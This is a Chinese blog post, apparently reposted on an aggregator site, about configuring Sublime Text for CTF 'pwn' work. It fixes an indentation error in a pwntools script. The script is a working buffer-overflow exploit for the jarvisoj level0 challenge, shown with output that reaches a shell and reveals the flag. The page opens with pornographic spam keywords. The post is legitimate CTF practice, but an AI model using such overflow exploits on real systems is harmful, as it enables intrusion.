国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

從零開始配置pwn環(huán)境:sublime配置并解決pwn腳本報(bào)錯(cuò)問題

這篇具有很好參考價(jià)值的文章主要介紹了從零開始配置pwn環(huán)境:sublime配置并解決pwn腳本報(bào)錯(cuò)問題。希望對(duì)大家有所幫助。如果存在錯(cuò)誤或未考慮完全的地方,請(qǐng)大家不吝賜教,您也可以點(diǎn)擊"舉報(bào)違法"按鈕提交疑問。

1.sublime安裝

Download - Sublime Text

從零開始配置pwn環(huán)境:sublime配置并解決pwn腳本報(bào)錯(cuò)問題,KALI環(huán)境集成CTF工具,sublime text,編輯器,python,網(wǎng)絡(luò)安全,系統(tǒng)安全

從零開始配置pwn環(huán)境:sublime配置并解決pwn腳本報(bào)錯(cuò)問題,KALI環(huán)境集成CTF工具,sublime text,編輯器,python,網(wǎng)絡(luò)安全,系統(tǒng)安全

──(holyeyes?kali2023)-[~]
└─$  sudo dpkg -i sublime-text_build-4169_amd64.deb 
[sudo] password for holyeyes: 
Selecting previously unselected package sublime-text.
(Reading database ... 409163 files and directories currently installed.)
Preparing to unpack sublime-text_build-4169_amd64.deb ...
Unpacking sublime-text (4169) ...
Setting up sublime-text (4169) ...
Processing triggers for kali-menu (2023.4.3) ...
Processing triggers for desktop-file-utils (0.26-1) ...
Processing triggers for mailcap (3.70+nmu1) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
                                                                             
┌──(holyeyes?kali2023)-[~]
└─$ subl                             
                                         

?2.解決pwn報(bào)錯(cuò)問題

2.1pwn腳本:0model.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pickle import TRUE
from pwn import *
import sys

context.terminal=["tmux","sp","-h"]
context.log_level='debug'

DEBUG = 1

LOCAL = True
BIN   ='./level0'
HOST  ='pwn2.jarvisoj.com'
PORT  =9881




def get_base_address(proc):
	return int(open("/proc/{}/maps".format(proc.pid), 'rb').readlines()[0].split('-')[0], 16)

def debug(bps,_s):
    script = "handle SIGALRM ignore\n"
    PIE = get_base_address(p)
    script += "set $_base = 0x{:x}\n".format(PIE)
    for bp in bps:
        script += "b *0x%x\n"%(PIE+bp)
    script += _s
    gdb.attach(p,gdbscript=script)

# pwn,caidan,leak,libc
# recv recvuntil send sendline sendlineafter sendafter

def exploit(p):

	p.recv()
	pl = 136*'a'+p64(0x0000000000400596)
	p.sendline(pl)
	p.interactive()
	return

if __name__ == "__main__":
	elf = ELF(BIN)
	if len(sys.argv) > 1:
		LOCAL = False
		p = remote(HOST, PORT)
		exploit(p)
	else:
		LOCAL = True
		p = process(BIN)
		log.info('PID: '+ str(proc.pidof(p)[0]))
		# pause
		if DEBUG:
			debug([],"")
		exploit(p)

2.2腳本出錯(cuò)信息?

root@pwn_test1604:/ctf/work/1# python 0model.py 
  File "0model.py", line 41
    p.interactive()
                  ^

2.3解決方法?

用vscode鼠標(biāo)右鍵調(diào)出命令平臺(tái)

從零開始配置pwn環(huán)境:sublime配置并解決pwn腳本報(bào)錯(cuò)問題,KALI環(huán)境集成CTF工具,sublime text,編輯器,python,網(wǎng)絡(luò)安全,系統(tǒng)安全

?輸入convert indentation to Tabs,保存文件

從零開始配置pwn環(huán)境:sublime配置并解決pwn腳本報(bào)錯(cuò)問題,KALI環(huán)境集成CTF工具,sublime text,編輯器,python,網(wǎng)絡(luò)安全,系統(tǒng)安全?完美解決,具體如下:文章來源地址http://www.zghlxwxcb.cn/news/detail-815230.html

root@pwn_test1604:/ctf/work/1# python 0model.py 1                                                                                                                                                                  
[DEBUG] PLT 0x40044c write
[DEBUG] PLT 0x400460 system
[DEBUG] PLT 0x400470 read
[DEBUG] PLT 0x400480 __libc_start_main
[DEBUG] PLT 0x400490 __gmon_start__
[*] '/ctf/work/1/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to pwn2.jarvisoj.com on port 9881: Done
[DEBUG] Received 0xd bytes:
    'Hello, World\n'
[DEBUG] Sent 0x91 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000080  61 61 61 61  61 61 61 61  96 05 40 00  00 00 00 00  │aaaa│aaaa│··@·│····│
    00000090  0a                                                  │·│
    00000091
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x10 bytes:
    'flag\n'
    'level0_x64\n'
flag
level0_x64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x26 bytes:
    'CTF{713ca3944e92180e0ef03171981dcd41}\n'
CTF{713ca3944e92180e0ef03171981dcd41}

到了這里,關(guān)于從零開始配置pwn環(huán)境:sublime配置并解決pwn腳本報(bào)錯(cuò)問題的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點(diǎn)僅代表作者本人,不代表本站立場。本站僅提供信息存儲(chǔ)空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請(qǐng)注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實(shí)不符,請(qǐng)點(diǎn)擊違法舉報(bào)進(jìn)行投訴反饋,一經(jīng)查實(shí),立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費(fèi)用

相關(guān)文章

  • C++ Webserver從零開始:配置環(huán)境(九)——下載github的項(xiàng)目進(jìn)行測試

    C++ Webserver從零開始:配置環(huán)境(九)——下載github的項(xiàng)目進(jìn)行測試

    大家好,我又來更新Webserver的博客了。上一次更新這個(gè)專欄時(shí)2024.2.5號(hào),離現(xiàn)在已經(jīng)13天了。非常抱歉,中間隔了那么久。一方面是基礎(chǔ)知識(shí)學(xué)完之后,就要開始自己寫代碼了??椿A(chǔ)知識(shí)和寫代碼是兩回事,理論和實(shí)踐的區(qū)別還是非常大的。所以我對(duì)自己的要求是要完成一部

    2024年02月20日
    瀏覽(22)
  • Java入門篇:打造你的Java開發(fā)環(huán)境——從零開始配置IDEA與Eclipse

    “工欲善其事,必先利其器” 作為每一位Java初學(xué)者的必經(jīng)之路,搭建合適的開發(fā)環(huán)境是至關(guān)重要的第一步。本篇將詳細(xì)指導(dǎo)你如何安裝并配置兩大主流Java開發(fā)工具——IntelliJ IDEA和Eclipse,助你在編程之旅上邁出堅(jiān)實(shí)的第一步。 1. 下載并安裝Java Development Kit (JDK) 步驟1 訪問O

    2024年01月25日
    瀏覽(44)
  • C++實(shí)戰(zhàn)Opencv第一天——win11下配置vs,opencv環(huán)境和運(yùn)行第一個(gè)c++代碼(從零開始,保姆教學(xué))

    C++實(shí)戰(zhàn)Opencv第一天——win11下配置vs,opencv環(huán)境和運(yùn)行第一個(gè)c++代碼(從零開始,保姆教學(xué))

    OpenCV (Open Source Computer Vision Library)是一個(gè)開源的計(jì)算機(jī)視覺和機(jī)器學(xué)習(xí)軟件庫,它提供了大量的通用算法和功能,用于處理圖像和視頻數(shù)據(jù)。 C++ 通常提供比 Python 更高的執(zhí)行速度 ,對(duì)于需要高性能處理的任務(wù)(如 實(shí)時(shí)視頻處理或大規(guī)模圖像分析 )?。C++ 提供更細(xì)致的 內(nèi)

    2024年01月19日
    瀏覽(29)
  • Sublime Text 3配置 Python 開發(fā)環(huán)境

    Sublime Text 3配置 Python 開發(fā)環(huán)境

    《開發(fā)工具系列》 Python 是一種簡潔但功能強(qiáng)大的面向?qū)ο缶幊陶Z言。它的常用開發(fā)工具有很多,相信大家多多少少都有所了解,比如 PyCharm 、 Visual Studio Code 、 IDLE 等等;本篇 Huazie 介紹一個(gè)比較輕量級(jí)的開發(fā)環(huán)境 Sublime Text 3 ,并用它來配置 Python 開發(fā)環(huán)境。 Sublime Text 3 是一

    2024年01月15日
    瀏覽(15)
  • Sublime Text 3配置 Java 開發(fā)環(huán)境

    Sublime Text 3配置 Java 開發(fā)環(huán)境

    《開發(fā)工具系列》 《開發(fā)語言-Java》 Java 是一種跨平臺(tái)、面向?qū)ο蟆⒐δ軓?qiáng)大且安全可靠的編程語言。它有很多常用的開發(fā)工具,比如 Eclipse 、 IDEA 等等,相信大家多多少少都有所涉獵;而本篇 Huazie 將要介紹一個(gè)比較輕量級(jí)的開發(fā)工具 Sublime Text 3 ,并用它來配置 Java 開發(fā)環(huán)

    2024年02月20日
    瀏覽(20)
  • 從零開始的Hadoop學(xué)習(xí)(三)| 集群分發(fā)腳本xsync

    bin目錄:存放對(duì)Hadoop相關(guān)服務(wù)(hdfs,yarn,mapred)進(jìn)行操作的腳本 etc目錄:Hadoop的配置文件目錄,存放Hadoop的配置文件 lib目錄:存放Hadoop的本地庫(對(duì)數(shù)據(jù)進(jìn)行壓縮解壓縮功能) sbin目錄:存放啟動(dòng)或停止Hadoop相關(guān)服務(wù)的腳本 share目錄:存放Hadoop的依賴jar包、文檔、和官方案

    2024年02月11日
    瀏覽(18)
  • 適合小白的超詳細(xì)yolov8環(huán)境配置+實(shí)例運(yùn)行教程,從零開始教你如何使用yolov8訓(xùn)練自己的數(shù)據(jù)集(Windows+conda+pycharm)

    適合小白的超詳細(xì)yolov8環(huán)境配置+實(shí)例運(yùn)行教程,從零開始教你如何使用yolov8訓(xùn)練自己的數(shù)據(jù)集(Windows+conda+pycharm)

    ? 目錄 一、前期準(zhǔn)備+所需環(huán)境配置? 1.1. 虛擬環(huán)境創(chuàng)建 1.2 下載yolov8源碼,在pycharm中進(jìn)行配置 1.2.1 下載源碼 1.2.2 在pycharm終端中配置conda 1.3?在pycharm的terminal中激活虛擬環(huán)境? 1.4 安裝requirements.txt中的相關(guān)包 1.5 pip安裝其他包 1.6 預(yù)訓(xùn)練權(quán)重的下載? 1.7 驗(yàn)證環(huán)境配置是否成功

    2024年02月05日
    瀏覽(28)
  • 【環(huán)境搭建】MacOS系統(tǒng)M1芯片從零開始安裝torch torch-geometric(PyG) torch-sparse torch-scatter步驟詳解、配置圖神經(jīng)網(wǎng)絡(luò)(GNN)訓(xùn)練環(huán)境教程

    前言:實(shí)際上只裝PyTorch或者torch不會(huì)遇到什么問題,但是torch-geometric、torch-scatter、torch-sparse在M1 chip的Mac上非常難安裝( PyG DocumentationInstallation 里注明了“Conda packages are currently not available for M1/M2/M3 macs”)。博主試錯(cuò)過程中遇到了很多無解的bug,還把conda搞炸了,最終不得不

    2024年02月02日
    瀏覽(59)
  • 服務(wù)器從零開始配環(huán)境

    服務(wù)器從零開始配環(huán)境

    寶塔,xftp,xshell 阿里云的話就是在實(shí)例那里點(diǎn)遠(yuǎn)程連接,輸入: yum install -y wget wget -O install.sh http://download.bt.cn/install/install_6.0.sh sh install.sh 中途輸入y確定安裝 安裝成功就是這樣的頁面: 在軟件商店下好常用的軟件 服務(wù)器買的核數(shù)小,每次在寶塔安裝mysql都會(huì)崩,得自己手

    2024年01月22日
    瀏覽(43)
  • 【從零開始學(xué)習(xí)Linux】背景知識(shí)與獲取環(huán)境

    【從零開始學(xué)習(xí)Linux】背景知識(shí)與獲取環(huán)境

    ?哈嘍,哈嘍,大家好~ 我是你們的老朋友: 保護(hù)小周? ?? 本期給大家?guī)淼氖?Linux 操作系統(tǒng)的簡介,以及如何獲取一個(gè)Linux 的環(huán)境 , 作為Linux 章節(jié)起始篇,如果不妥之處,歡迎批評(píng)指正~ 本期收錄于博主的專欄 : JavaEE_保護(hù)小周?的博客-CSDN博客 適用于編程初學(xué)者,感興

    2024年02月15日
    瀏覽(30)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請(qǐng)作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包